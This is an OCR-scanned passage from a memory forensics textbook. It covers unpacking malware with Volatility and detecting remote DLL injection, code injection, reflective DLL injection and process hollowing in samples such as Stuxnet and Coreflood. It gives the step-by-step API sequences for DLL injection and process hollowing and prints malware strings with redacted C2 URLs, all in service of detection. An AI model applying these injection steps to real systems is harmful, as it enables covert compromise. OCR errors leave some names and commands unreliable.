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cached copies of the PE files from disk. In this case, you won't get slack space, modified
global variables, or decompressed versions of packed files.

Packing and Compression

The layers of obfuscation introduced by packed or compressed binaries are often removed
when they load into memory. In almost all cases, before executing the main payload, a
self-modifying program decompresses in place, or moves to another address and then
decompresses. Figure 8-5 shows the life cycle of a binary that gets packed and then loaded
in memory. Before packing, the PE file’s entry point is within its . text section (likely the
main Or D11Main function), and all strings and code are in plain text. You can perform static
analysis of the binary at this stage. However, after it’s packed, the strings and code are
compressed and optionally encrypted or encoded. Also, a new section has been added to
the binary that contains the unpacking code, and the entry point now leads to this new
section. Statically analyzing the file at this point will most certainly fail.

Original executable before packing Unpacked executable in memory
PE Header PE Header
Exports Packed executable Exports
Imports Start address PE Header .data section
> - Start address
.data section Ungﬁj:lgmg —>|| .textsection

Start address
e .text section .rdata section
.rdata section original code .rsrc section

.rsrc section Fv Imports
> Compressed and encrypted )

All strings and code
are visible (clear text)

Back to clear text

Figure 8-5: The life cycle of a program being packed and loaded into memory

When the binary is loaded into memory, the entry point function (unpacking code)
decompresses the original strings and data so the program can access them. Next the
real main or D11Main routine is called to invoke the program’s normal behavior. Anytime
between now and when the DLL unloads or the process terminates, you should be able
to dump the decompressed code from memory. Finding it is rarely an issue because you
have d111ist, 1drmodules, and malfind (described in the next section) to provide you with
base addresses. Paired with procdump, d11dump, and moddump, you have a pretty flexible
toolset for acquiring the data you need for static analysis.
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NOTE

Your ability to dump decompressed code depends on the design of the packer. A major-
ity of packers used in the wild operate in a manner consistent with our description,
but not all of them. For example, virtual machine (VM) packers such as VMProtect
(http://vmpsoft.com/products/vmprotect)andfrhenﬁda(http://www.oreans.com/
themida.php) are especially problematic because they never fully unpack in memory.
In fact, the code is transformed so that it’s often not technically possible to derive the
original code. In these cases, we tend to focus on artifacts left in memory when the
programs execute—for example, the network connections, open file handles, services
they create, and so on.

Unpacking Malicious Code

This section demonstrates a practical example of using memory analysis to unpack a
malware sample. Figure 8-6 shows the functions that the packed sample imports from
kernel32.d1l (shown via CFF Explorer from http://www.ntcore.com/exsuite.php). You
can typically look at a program’s imports and get a general idea of its functionality, but in
this case you don't see much—which indicates the packer obfuscates the IAT as well as the
program’s instructions. However, because it includes et Procaddress and LoadLibraryW,
it can load and access any APIs it needs at run time.

Dward ‘ Dwaord |Wnrd | szAnsi

0001AB2C 0001AB2C 02F4 LoadLibraryW
0001AB3C 0001AB3C 0220 GetProcAddress

0001 AB4E 0001AB4E 0281 GetWindowsDirectoryW
0001 ABG6 0001 ABGE 0447 IstrcatW

0001AB72 0001AB72 007F CreateFileW

0001 ABE0 0001ABE0D 016F GetCommandLineA
0001AB32 0001AB32 0368 ReadFile

Figure 8-6: The packed malware’s Import Address
Table contains only a few functions.

If you extract strings from the binary, you'll see that there aren’t many—besides the
DOS message and some partly familiar items at the top. For example, zirtualalloc and
zegOpenKeyExW closely resemble virtualalloc and RegopenkeyExw (names of Windows
API functions). These are suspicious indeed and they probably indicate an attempt to
bypass string-based signatures:

$ strings -a -n 8 734aa.ex > strings.txt
$ strings -a -n 8 -el 734aa.ex_>> strings.txt
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$ cat strings.txt

IThis program cannot be run in DOS mode.
PUSHBUTTON

zirtualAlloc

zegOpenKeyExW

[snip]

X660~6B0&6V0
1C55145F1
KhdoUuDiPcctMtyAb
$ctM5bul

j32Dbllb
wsvcPr . dFj

[snip]

9#949A9N9IVI{9
858*80868<8BBHENST8Z8 8f818r8x8~8
1206090720502
39123123595920

At this point, it’s pretty obvious that the sample is packed. You can execute it in a con-
trolled environment (such as a VM with networking disabled) to allow the program to
unpack in memory. While it’s running, capture its state by taking a snapshot of your VM
or dumping memory. Then use procdump to extract the decompressed code, as shown here:

$ python vol.py -f infected.vmem procdump -p 3060 --dump-dir=OUTDIR/
Volatility Foundation Volatility Framework 2.4
Process (V) ImageBase Name Result

0x81690cl10 0x00400000 734aa.ex OK: executable.3060.exe

Now that you have a sample extracted from memory, run strings on it again and see
the difference:

$ strings -a -n 8 executable.3060.exe > strings.txt

$ strings -a -n 8 -el executable.3060.exe >> strings.txt
$ cat strings.txt

IThis program cannot be run in DOS mode.

[snip]

Software\Microsoft \WSH\
Mozilla\Firefox\Profiles
cookies. *

Macromedia

firefox.exe

iexplore.exe
explorer.exe
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Content-Length
[snip]

http://REDACTED.65.40:8080/zb/v_01_a/in/
http://REDACTED.189.124:8080/zb/v 01 a/in/
http://REDACTED.154.199: 8080/zb/v_01_a/in/
http://REDACTED.150.163: 8080/zb/v_01_a/in/
Software\Microsoft\Windows\CurrentVersion\Run
[snip]

The output tells you a lot about the malware’s functionality. Although they are just
strings, not direct code correlations, sometimes that’s all you need to generate an initial
list of indicators such as contacted IPs and modified registry keys.

Common Unpacking Issues

You can save an enormous amount of time by just letting the malware natively unpack
in memory as opposed to using a debugger to reverse-engineer samples, but there are
some disadvantages as well. For example, as previously mentioned, some samples never
fully unpack. You also might run into samples that don’t stay active long enough for you
to capture memory. In those cases, we recommend using a debugger to run the malware
and set a breakpoint on ExitpProcess: It gets “frozen” while you access what you need.
Of course, you can also find debugger-aware samples, so make sure to read Recipe 9-11
(“Preventing Processes from Terminating”) in Malware Analyst’s Cookbook. It shows you
how to suspend a process when it tries to exit by placing hooks in the kernel.

Unpacking 64-bit DLLs

Unpacking DLLs on 64-bit Windows is technically no different from executables on 32-bit
platforms. As we were preparing to write this section of the chapter, we received a Rovnix
(http://www.xylibox.com/2013/10/reversible—rovnix—passwords.html)Sanqﬂethatvvas
implemented as a DLL and targeted 64-bit systems. As shown in Figure 8-7, the sample
was packed. If you're not familiar with IDA Pro, the horizontal bar below the main menu
(known as the color bar) displays the segments in the file that contain instructions versus
undefined data. A majority of this file was undefined. Furthermore, the entry point func-
tion calls virtualalloc—probably to allocate a memory region to use as the “scratch pad”
where decompression can occur. You can also see 62 exported functions with names that
resemble database APIs. Viewing their code (not shown here), you see that they consist
of only no-operations (NOPs).
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The color bar shows mostly undefined data

- G
File Edit Jump Search View Debugger Options Windows Help
N RN T I L r T R

N L
il 1] [ t
(2] Exports 8 x | [Eoaviews D | [ Hex view-a [1] | [&] structures [ Ei]r
Name |- push rdi
[#] CreateProcessNgtify sub rsp, 28h
GetLoglnfo mow ebx, 73ESCECIh
ESSnapscho”t;reize mou ecx, [rsp+EER]
egisterCallbac| push rax
EndExternalBackuplnstance? mou [rsp+6Bh+var 507, ecx
CreateDatabase? pop Fdi
Preparelpdate mou ecx, 9AE3I8731h
OpenTable mov eax, PAE3IBGF1h
Database relatgd export - nou esi, 958h
names intended CloseTable sub ecx, 9AEIRSFIN
. mou edx, esi ; dusSize
to mislead you UpgradeDatabase sub pax, 9AEIFEFIN
Delete push rocx
AttachDatabase2 push Fax
MakeKey mow ebx, BAYF2EEAZh
Init2 pop r8
Restorelnstance pop r9
5| Backuplnstance ®or ecx, EBcx ; lpAddress
B rloaEile - call cs:VirtualAlloc
4 [ + mou edx, 168Ch
Line 60 of 62 100.00% (-42,198) (6,10) 00000D&1 0000000180001961: sub 180
AU: idle Down. Disk: 10GB

Figure 8-7: The DLL loaded in IDA Pro shows various signs of being compressed or encrypted.

Chapter 13 (“Working with DLLs") in Malware Analyst’s Cookbook contains some useful
hints that you can leverage here. The goal is to get the DLL loaded so that it can unpack
and then keep it there long enough for you to acquire memory. We use rundl1132.exe
(which is actually a 64-bit executable on 64-bit platforms, despite its name) as the host
process—it takes care of mapping the malicious DLL in memory and calling its entry
point function (p11Main). Here is the command we use:

C:\Users\Elliot\Desktop\> rundll32 dd4382d225a[snip] .dll, FakeExport

NOTE

The name of the exported function to call is FakeExport, which is completely inconse-
quential. By the time FakeExport is referenced by rund1132.exe, the malicious DLL is
already loaded. It could easily be one of the exports you see in Figure 8-7, or you could
make up another term to use. Strangely, you can’t just leave off the export name or else
you get a syntax error from rund1132.exe.
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With the DLL loaded, capture memory and then determine its base address with
dl1l1list, as shown here:

S python vol.py -f memory.dmp --profile=Win7SP1x64 -p 1524 dlllist
Volatility Foundation Volatility Framework 2.4
Khkhkkkhkhkhkhkkhkhkhkhkhkhkhkhkhkhkhkhkdkhkhhkhkhkhkhhhkdkhkdhhkdkhkdhkhkdkhkdhkhhkhkdkhhhkhkdkhkdhkhkdkhkdhhkdkhrkdkhhkhkdxx
rundll32.exe pid: 1524

Command line : rundll32 dd4382d225a15dc09£92616131eff983.d11,FakeEntry
Service Pack 1

0x00000000££b£f0000 0xf000 Oxffff C:\Windows\system32\rundll32.exe
0x0000000077040000 0x1a9000 Oxffff C:\Windows\SYSTEM32\ntdll.dll
0x0000000076€20000 0x11f000 Oxffff C:\Windows\system32\kernel32.dll

[snip]

0x0000000180000000 0x15000 0x1 C:\Users\Elliot\Desktop\dd438[snip].dll
0x000007fefe090000 0xdb000 0x2 C:\Windows\system32\ADVAPI32.d1l1l
0x000007fefe040000 0x1£f000 0x8 C:\Windows\SYSTEM32\sechost.dll
0x000007fefde50000 0x12d000 0x6 C:\Windows\system32\RPCRT4.dl1l

[snip]

The output tells you that the DLL is loaded at base address 0x180000000 in the process.
Now you can go ahead and dump the DLL like this:
$ python vol.py -f memory.dmp --profile=Win7SP1x64 -p 1524 dlldump

--base 0x0000000180000000
--dump-dir=OUTDIR/

Volatility Foundation Volatility Framework 2.4
Name Module Base Module Name Result

rundll32.exe 0x0000000180000000 dd438[snip].dll OK:
module.1524.3£769610.180000000.d11

When the dumped file is loaded in IDA Pro this time, you see significant differences.
Notice how the unpacked copy in Figure 8-8 compares with the packed copy previously
shown in Figure 8-7.

The color bar has changed to indicate that a majority of the file contains code instead
of undefined data. The strange database-related export functions are gone, the import
table is intact, and (most importantly) the instructions in the disassembly pane are no
longer compressed.
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00.., VirtualAllocEx noy [rsptarg 6], ¢

00... VirtualAlloc push Fdi
00... OpenProcess sub rsp, 48h
00... IstrempiA nov rdi, rcx

% nov cs:hLibHodule, rcx
Eg \Cnr;z:?e?temea ®or ecx, ecx ; 1pHoduleMame

call cs:GetModuleHandled

00.. GetModuleFileNam: nov s -hHodule, rax

... GetModuleHandleA call cs:GetVersion

00... CreateProcessW nov cs:dword_18881211C, eax

00... GetlastError call cs:GetCurrentProcessld

< [ noy rcx, cs:hLibModule ; hModule
Line 4 of 173 100.00% (0,0) (380,259) 00000888 0000000180001488:

LU: idle Down Disk: 10GB

Figure 8-8: The unpacked DLL in IDA Pro is now in good enough shape
to allow static analysis.

Code Injection

Malware leverages code injection to perform actions from within the context of another
process. By doing so, the malware can force a legitimate process to perform actions on its
behalf, such as downloading additional trojans or stealing information from the system.
Attackers can inject code into a process in many ways, such as writing to the remote
process” memory directly or adding a registry key that makes new processes load a
DLL of the attacker’s choice. This section discusses how you can determine whether any
processes on the system are victims of code injection, and if so, how you can extract the
memory segments that contain malicious code.
The classes of code injection that we cover are these:

® Remote DLL injection: A malicious process forces the target process to load a speci-
fied DLL from disk by calling LoadLibrary or the native LdrLoadp11l. By definition,
the DLL must exist on disk prior to being injected.
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Remote code injection: A malicious process writes code into the memory space of
a target process and forces it to execute. The code can be a block of shellcode (i.e.,
not a PE file) or it can be a PE file whose import table is preemptively configured
for the target process.

Reflective DLL injection: A malicious process writes a DLL (as a sequence of bytes)
into the memory space of a target process. The DLL handles its own initialization
without the help of the Windows loader. The DLL does not need to exist on disk
prior to being injected.

Hollow process injection: A malicious process starts a new instance of a legitimate
process (such as 1sass.exe) in suspended mode. Before resuming it, the executable
section(s) are freed and reallocated with malicious code.

As you will learn, the technique you use to detect code injection depends on how the
code was injected, which is the reason we distinguish between the different methods.
Although Volatility provides the capability to detect all types, you still need to put in
some analysis effort to learn when to use the various plugins and how to properly inter-
pret their output.

In the following descriptions, Process A is the malicious process and Process B is the
target.

Remote DLL Injection

This technique is typically accomplished in the following steps:

Process A enables debug privilege (se_beruc_PrRIVILEGE) that gives it the right to
read and write other process’ memory as if it were a debugger.

Process A opens a handle to Process B by calling openprocess. It must request at
least PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, and PROCESS_VM_WRITE.
Process A allocates memory in Process B using virtualallocex. The protection is
typically PAGE_READWRITE.

Process A transfers a string to Process B’s memory by calling writeprocessMemory.
The string identifies the full path on disk to the malicious DLL and it is written at
the address allocated in the previous step.

Process A calls createRemoteThread to start a new thread in Process B that executes
the LoadLibrary function. The thread’s parameter is set to the full path to the mali-
cious DLL, which already exists in Process B’s memory.

At this point, the injection is complete and Process B has loaded the DLL. Process
A calls virtualFree to free the memory containing the DLL’s path.

Process A calls closeHandle on Process B’s process to clean up.
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DLL Injection Detection

Considering the fact that LoadLibrary was used to load the DLL, there is no good way to
conclusively distinguish between the malicious DLL and other explicitly loaded DLLs in
Process B. The VAD and PEB lists look nearly identical from a metadata perspective for
all modules loaded with the same APL In other words, the injected DLL isn’t necessarily
hidden at this point; it is perfectly visible with a111ist or tools such as Process Explorer
running on the live system. However, unless you know the specific name of the DLL, it
can easily blend in with the legitimate modules.

Two factors can make detection possible. First, if the injected DLL does attempt to hide
from tools on the live system after it gets loaded (by unlinking its _LDR_DATA_TABLE ENTRY
from one or more of the ordered lists), you can use ldrmodules to detect it. The second
is if the injected DLL is packed, and the unpacking procedure copies the decompressed
code to a new memory region. In this case, you'll detect it with ma1£ind (described next). If
neither of these things happens, you have to fall back to typical analysis involving context,
path names, Yara scans, DLL load timestamps (see Chapter 18), and so on.

Remote Code Injection

This technique starts out with the same two steps as remote DLL injection. Process A
enables debug privilege and then opens a handle to Process B. It finishes up like this:

Process A allocates memory in Process B with the PAGE_EXECUTE_READWRITE protec-
tion. This protection level is necessary to allow Process A to write to the memory
and Process B to read and execute it.

Process A transfers a block of code to Process B using writeprocessMemory.
Process A calls createRemoteThread and points the thread’s starting address to a
function within the transferred block of code.

Code Injection Detection

The malfind plugin is designed to hunt down remote code injections that occur as pre-
viously described. We hinted about this many times in Chapter 7, which discussed the
VAD characteristics and flags. The concept is that there will be a readable, writeable, and
executable private memory region (that is, no file mapping) with all pages committed (we
use a few variations of these criteria for detection). The region will contain a PE header
and/or valid CPU instructions. Here’s an example showing a block of code that Stuxnet
injected into services.exe:

$ python vol.py -f stuxnet.mem --profile=WinXPSP3x86 malfind
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Volatility Foundation Volatility Framework 2.4
[snip]

Process: services.exe Pid: 668 Address: 0x13£0000
Vad Tag: Vad Protection: PAGE EXECUTE READWRITE
Flags: Protection: 6

0x013£0000 4d 5a 90 00 03 00 00 00 04 00 00 00 f£f ££f 00 00 MZ..............
0x013£0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........ @.......
0x013£0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....viuuniennnn.
0x013£0030 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00  .......uuvvennn..

0x13£0000 4d DEC EBP

0x13£0001 5a POP EDX

0x13£0002 90 NOP

0x13£0003 0003 ADD [EBX], AL
0x13£0005 0000 ADD [EAX], AL
0x13£0007 000400 ADD [EAX+EAX], AL

The output shows a preview of the data as both a hex dump and disassembly, starting
at the base address of the injected region (0x013£0000). In some cases, you'll leverage the
hex dump to determine whether the region is malicious (for example, because you see
an Mz signature); in other cases, you'll need to rely on the disassembly. Here’s an example
that shows the disassembly coming in handy. In the following detection of Carberp, no
Mz signature exists because it is just a block of shellcode:

$ python vol.py -f carberp.mem --profile=WinXPSP3x86 malfind

Volatility Foundation Volatility Framework 2.4
[snip]

Process: svchost.exe Pid: 992 Address: 0x9d40000
Vad Tag: VadS Protection: PAGE EXECUTE READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x009d0000 b8 35 00 00 00 e9 8b dl £3 7b 68 6c 02 00 00 e9 Seaaaa {h1....
0x009d0010 94 63 f4 7b 8b ff 55 8b ec e9 6¢c 11 e4 7b 8b ff TR PN S VRS (P
0x009d0020 55 8b ec e9 99 2e 84 76 8b ff 55 8b ec e9 74 60 U...... v..U...t°
0x009d0030 7f 76 8b ff 55 8b ec e9 8a e9 7f 76 8b ff 55 8b vo.Uo oL v..U
0x9d0000 b835000000 MOV EAX, 0x35

0x9d0005 e98bd1£37b JMP 0x7¢90d195

0x9d000a 686c020000 PUSH DWORD 0x26c

0x9d000f e99463£f47b JMP 0x7c9163a8

0x9d0014 8bff MOV EDI, EDI

0x9d0016 55 PUSH EBP

This region at 0x9d0000 is worth further investigation because the disassembly con-
tains CPU instructions that make sense. For example, the gup destinations are valid, and
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the combination of mov Ep1, EDI followed by puse EBP indicates the start of a function
prologue. When you review the output of malfind, keep in mind that programs may
allocate executable private memory for legitimate reasons. For example, the following
region in csrss.exe was not injected by malware; it was picked up by the plugin due to
its similarity to injection regions:

Process: csrss.exe Pid: 660 Address: 0x7£6£0000

Vad Tag: Vad Protection: PAGE EXECUTE READWRITE
Flags: Protection: 6

0x7f£6£0000 <8 00 00 00 71 01 00 00 ff ee ff ee 08 70 00 00 P o p..
0x7f£6£0010 08 00 00 00 00 fe 00 00 00 00 10 00 00 20 00 00  ................
0x7£6£0020 00 02 00 00 00 20 00 00 8d 01 00 00 ff ef £4d 7£  ................
0x7£6£0030 03 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x7£6£0000 ¢8000000 ENTER 0x0, 0x0
0x7f6£0004 7101 JNO 0x7f£6£0007
0x7£6£0006 0000 ADD [EAX], AL
0x7f6£0008 ff DB Oxff
0x7£6£0009 ee OUT DX, AL
0x7f6f000a ff DB Oxff
0x7f6£000b ee OUT DX, AL

The disassembly does not make sense in this case. For example, there’s an ENTER instruc-
tion, but no LEAVE. There’s conditional jump (gno), but no condition. Furthermore, the
destination of the jump leads to 0x7£6£0007, an address that does not contain an instruc-
tion according to the current alignment. This memory region does not seem malicious at
first glance. Consider the next example, involving Coreflood:

S python vol.py -f coreflood.mem --profile=WinXPSP3x86 malfind
Volatility Foundation Volatility Framework 2.4

[snip]

Process: IEXPLORE.EXE Pid: 248 Address: 0x7££80000
Vad Tag: VadS Protection: PAGE EXECUTE READWRITE
Flags: CommitCharge: 45, PrivateMemory: 1, Protection: 6

0x7££80000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7f££80010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7££80020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x7££80030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x7££80000 0000 ADD [EAX], AL
0x7££80002 0000 ADD [EAX], AL
0x7££80004 0000 ADD [EAX], AL
0x7££80006 0000 ADD [EAX], AL
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Most analysts assume that this range at 0x7££80000 is a false positive. The hex dump
and disassembly both consist of only zeros. However, remember that this is only a preview
of the data. The CPU doesn’t necessarily start executing code at offset 0 in the injected
region; it can easily point somewhere within the range. In this case, Coreflood’s anti-
dumping feature wiped out its PE header (which occupied the first page) by overwriting
it with zeros. If you use volshell to disassemble code in the second page (0x7££81000),
however, you see the malware’s main function:

$ python vol.py -f coreflood.mem --profile=WinXPSP3x86 volshell -p 248

Volatility Foundation Volatility Framework 2.4

Current context: process IEXPLORE.EXE, pid=248, ppid=1624 DTB=0x80002a0

To get help, type 'hh()'
>>> dis (0x7££81000)

0x7££81000 81ec20010000 SUB ESP, 0x120
0x7££81006 53 PUSH EBX

0x7££81007 8b9c2430010000 MOV EBX, [ESP+0x130]
0x7££8100e 8bc3 MOV EAX, EBX
0x7££81010 2404 AND AL, 0x4
0x7££81012 55 PUSH EBP

0x7££81013 fe6ds NEG AL

0x7££81015 56 PUSH ESI

0x7££81016 57 PUSH EDI

0x7££81017 8bbc2434010000 MOV EDI, [ESP+0x134]
[snip]

Malware can use several tricks to hide in process memory. The task of verifying code
in these regions often requires a familiarity with assembly because injected code can look
very similar to legitimate code. After mal£ind helps you narrow down the possibilities to
a manageable level, you still have to apply some knowledge and context to the investiga-
tion. You can also supply an output directory (--dump-dir) when calling malfind, and it
extracts the suspect regions automatically. Then you can run strings or signature scanners
across the dumped files.

WARNING

Coreflood prevented many tools from carving its binary from memory by wiping out
its PE header. This anti-forensics approach is an annoyance, but it shouldn’t stop you.
Just use vaddump to extract the memory region and use a hex editor or PE editor to build
your own PE header template. For more information, see Recovering Coreflood Binaries
uﬁﬂlVQﬂaﬁﬁty:http://mnin.blogspot.com/2008/11/recovering—coreflood—binaries—
with.html.
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Reflective DLL Injection

This method is a hybrid of the two approaches discussed previously. The content trans-
ferred from Process A to Process B is a DLL (as opposed to a block of shellcode), but after
it exists in Process B, it initializes itself instead of calling LoadLibrary. This technique has
several anti-forensic advantages:

LoadLibrary only loads libraries from disk. Because this method doesn’t rely on the
API, the injected DLL never needs to be written to more permanent storage. It can
be loaded into memory straight from the network (for example, when exploiting
a remote buffer overflow).

Also as a result of avoiding LoadLibrary, the _LDR_DATA_TABLE_ENTRY metadata
structures are not created. Thus the three lists in the PEB do not have a record of
this DLL loading.

NOTE

For more information on this technique, see:
REﬂuﬁeljbraﬁy[ﬂﬁwtﬂﬂlbyskape(http://www.nologin.org/Downloads/Papers/
remote—library—injection.pdf)

Reflective DLL Injection by Steven Fewer: (http://www.harmonysecurity.com/
files/HS—PO05_ReflectiveDllInjection.pdf)

You can also check out source code and compile your own test binaries from the fol-
lovvhlgreposﬂory:https://github.com/stephenfewer/Ref1ectiveDLLInjection.

Reflective DLL Injection Detection

You can detect this method with malfind, as discussed previously. Here’s a snippet of
code from the ReflectiveDLLInjection project’s LoadLibraryR.c file:

// alloc memory (RWX) in the host process for the image...
lpRemotelLibraryBuffer = VirtualAllocEx( hProcess,
NULL,
dwLength,
MEM_RESERVE |MEM_COMMIT,
PAGE_EXECUTE_READWRITE ) ;
if ( !lpRemoteLibraryBuffer )
break;

Due to the options chosen during allocation, the VAD in the host process that contains
the DLL fits the criteria for malfind.
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NOTE

Metasploit’s VNC and Meterpreter payloads are both based on the reflective DLL
injection method. For more information, see http://www.offensive-security
.com/metasploit-unleashed/Payload Types. You should be able to detect these
types of attacks in memory using the plugins discussed in this chapter.

Hollow Process Injection

With the previously discussed methods of injection, the target process remains run-
ning and just executes additional (malicious) code on behalf of the malware. On the
other hand, with process hollowing, the malware starts a new instance of a legitimate
process, such as 1sass.exe. Before the process’ first thread begins, the malware frees the
memory containing the 1sass.exe code (it hollows it out) and replaces it with the body
of the malware. In this sense, it executes only malicious code for the remainder of the
process’ lifetime. However, the PEB and various other data structures identify the path
to the legitimate 1sass.exe binary. Figure 8-9 shows a before-and-after memory layout

for the described behavior.

c:\\windows

/ \system32\Isass.exe

PEB

’

Malware (no file
association needed)

ntdll.dll

kernel32.dll

BEFORE

Figure 8-9: When a process is hollowed, its executable section is replaced with malicious code.

<— unchanged —>

PEB

<— unchanged —>

ntdll.dll

<— unchanged —>

kernel32.dll

AFTER
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How to Hollow a Process

The following steps describe how to conduct such an attack. Recipe 15-8 in Malware
Analyst’s Cookbook also includes the relevant C source code for each step.

Start a new instance of a legitimate process (for example, c:\windows\system32\
lsass.exe), but with its first thread suspended. At this point, the ImagePathName
in the PEB of the new process identifies the full path to the legitimate 1sass.exe.
Acquire the contents for the malicious replacement code. This content can come
from a file on disk, an existing buffer in memory, or over the network.
Determine the base address (ImageBase) of the 1sass.exe process, and then free or
unmap the containing memory section. At this point, the process is just an empty
container (the DLLs, heaps, stacks, and open handles are still intact, but no process
executable exists).

Allocate a new memory segment in 1sass.exe and make sure that the memory can
be read, written, and executed. You can reuse the same ImageBase or a different one
Copy the PE header for the malicious process into the newly allocated memory in
lsass.exe

Copy each PE section for the malicious process into the proper virtual address in
lsass.exe

Set the start address for the first thread (the one that has been in a suspended state)
to point at the malicious process’ AddressofEntryPoint value.

Resume the thread. At this point, the malicious process begins executing within
the container created for 1sass.exe. The ImagePathName in the PEB still points to

C:\windows\system32\lsass.exe

Detection

Stuxnet creates two new instances of 1sass.exe and replaces their code, just as the previ-
ous steps described. When you list processes, you see the following:

$ python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 pslist | grep lsass
Volatility Foundation Volatility Framework 2.4

Offset (V) Name PID PPID Thds Hnds Start

0x81e70020 lsass.exe 680 624 19 342 2010-10-29 17:08:54 UTC+0000
0x81c498c8 lsass.exe 868 668 2 23 2011-06-03 04:26:55 UTC+0000
0x81c47c00 lsass.exe 1928 668 4 65 2011-06-03 04:26:55 UTC+0000

There are three processes (PID 680, 868, and 1928), but only one is the “real” 1sass.exe.
Intuition may tell you that the one that started first based on creation time (PID 680) is
the legitimate one, but we’ll show you how to confirm. First, you can view the full path to
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the executable and/or its command line. The following command shows this information
as well as the ImageBase value for the processes:
S python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 dlllist

-p 680,868,1928 | grep lsass
Volatility Foundation Volatility Framework 2.4

lsass.exe pid: 680

Command line : C:\WINDOWS\system32\lsass.exe

0x01000000 0x6000 Oxffff C:\WINDOWS\system32\lsass.exe
lsass.exe pid: 868

Command line : "C:\WINDOWS\\system32\\lsass.exe"

0x01000000 0x6000 Oxffff C:\WINDOWS\system32\lsass.exe

lsass.exe pid: 1928
Command line : "C:\WINDOWS\\system32\\lsass.exe"
0x01000000 0x6000 Oxffff C:\WINDOWS\system32\lsass.exe

The advertised paths are all the same (despite two having an extra set of quotes around
the path) because the data in the PEB, including the ImageBase, is initialized at process
creation, and all processes started out the same. However, as a result of being hollowed,
the VAD characteristics for the region that contains the ImageBase are drastically differ-
ent. Only the legitimate one (PID 680) still has a copy of the 1sass.exe file mapped into
the region:

$ python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 vadinfo

-p 1928,868,680 --addr=0x01000000
Volatility Foundation Volatility Framework 2.4
khkhkkhkkkkhkhhkkhkhkdhhkhkhhhhkhkhhhhkhkhdhhhhhhhhdhhhhdhrhkhdhdrhrhdhdrhrhdrhkhhkdrkhkddrkhdx
Pid: 680
VAD node @ 0x81db03c0 Start 0x01000000 End 0x01005fff Tag Vad
Flags: CommitCharge: 1, ImageMap: 1, Protection: 7
Protection: PAGE_EXECUTE WRITECOPY
ControlArea @823e4008 Segment el1735398
NumberOfSectionReferences: 3 NumberOfPfnReferences: 4
NumberOfMappedViews: 1 NumberOfUserReferences: 4
Control Flags: Accessed: 1, File: 1, HadUserReference: 1, Image: 1
FileObject @82230120, Name: \WINDOWS\system32\lsass.exe
First prototype PTE: el17353d8 Last contiguous PTE: fffffffc
Flags2: Inherit: 1

Khkhkkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhhkhkhhkhhkhkhkhkhhkhkhkhkhhkhkhkhkhhkhkhkhkdkhkhkhkhkhkhkhkhkhkdkhkdkhkhkdkhkdkhkhkdkhrkdhhhkxkx
Pid: 868

VAD node @ 0x81flef08 Start 0x01000000 End 0x01005fff Tag Vad

Flags: CommitCharge: 2, Protection: 6

Protection: PAGE EXECUTE READWRITE

ControlArea @8lfbeeel Segment e24b4cl0

NumberOfSectionReferences: 1 NumberOfPfnReferences:
NumberOfMappedViews: 1 NumberOfUserReferences: 2
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Control Flags: Commit: 1, HadUserReference: 1
First prototype PTE: e24b4c50 Last contiguous PTE: e24b4c78
Flags2: Inherit: 1

R R R R SRR R SRR R EEE SRR EEEREREEEEEREEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEES

Pid: 1928

VAD node @ 0x82086d40 Start 0x01000000 End 0x01005fff Tag Vad

Flags: CommitCharge: 2, Protection: 6

Protection: PAGE_EXECUTE READWRITE

ControlArea @81ff33e0 Segment e2343888

NumberOfSectionReferences: 1 NumberOfPfnReferences:
NumberOfMappedViews: 1 NumberOfUserReferences: 2
Control Flags: Commit: 1, HadUserReference: 1

First prototype PTE: e23438c8 Last contiguous PTE: e23438f0

Flags2: Inherit: 1

As an alternative to the multiple steps you just saw, you can also skip straight to
ldrmodules. Remember that the process executable is added to the load order and memory
order module lists in the PEB. Thus, when 1drmodules cross-references the information
with the memory-mapped files in the VAD, you see a discrepancy. Here’s an example:

S python vol.py -f stuxnet.vmem ldrmodules --profile=WinXPSP3x86 -p 1928
Volatility Foundation Volatility Framework 2.4

Pid Process Base InLoad InInit InMem MappedPath

[snip]

1928 lsass.exe 0x7¢900000 True True True \WINDOWS\system32\ntdll.dll
1928 lsass.exe 0x77£60000 True True True \WINDOWS\system32\shlwapi.dll
1928 lsass.exe 0x771b0000 True True True \WINDOWS\system32\wininet.dll
1928 lsass.exe 0x77c00000 True True True \WINDOWS\system32\version.dll
1928 lsass.exe 0x01000000 True False True <no name>

[snip]

Because 1sass.exe was unmapped, a name is no longer associated with the region at
0x01000000. But calling NtUnmapviewofsection (step 3) doesn’t cause the PEB to lose its
metadata, so those structures still have a record of the original mapping in the load order
and memory order lists.

NOTE

For more information on the hollow process technique, see:
Analyzing Malware Hollow Process by Eric Monti: http://blog.spiderlabs
.com/2011/05/analyzing-malware-hollow-processes.html
Debugging Hollow Processes by Alexander Hanel: http: //hooked-on-mnemonics
.blogspot.com/2013/01/debugging-hollow-processes.html

261
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Postprocessing Dumped Code

After you identify injected code regions, you can extract them to disk for static analysis.
In most cases, you just need to fix the ImageBase in the dumped PE header to match its
location in memory and then you can load the file in IDA Pro. If imported functions
aren't visible at that time, use the impscan plugin to generate context information from
the memory dump and import the data as labels into IDA. The same goes for any process,
DLL, or kernel driver that you dump from memory, not just injected regions. Recipe 16-8
(“Scanning for Imported Functions with Impscan”) in Malware Analyst’s Cookbook describes
this capability in further detail.

Although a majority of code you dump from memory is self-contained (for example,
a single region that contains the executable code and read/write variables), that’s not
always the case, especially with Poison Ivy when its “melt” functionality is enabled. This
feature causes the RAT to dissolve into process memory space, scattering small pieces of
its code all over. Figure 8-10 shows the effect this has on your ability to reconstruct the
original binary for static analysis.

Typical Poisonlvy
Malware RAT
(——
Injected
code

-

Figure 8-10: Poison Ivy’'s “melt” feature spreads injected
code fragments all over process memory.

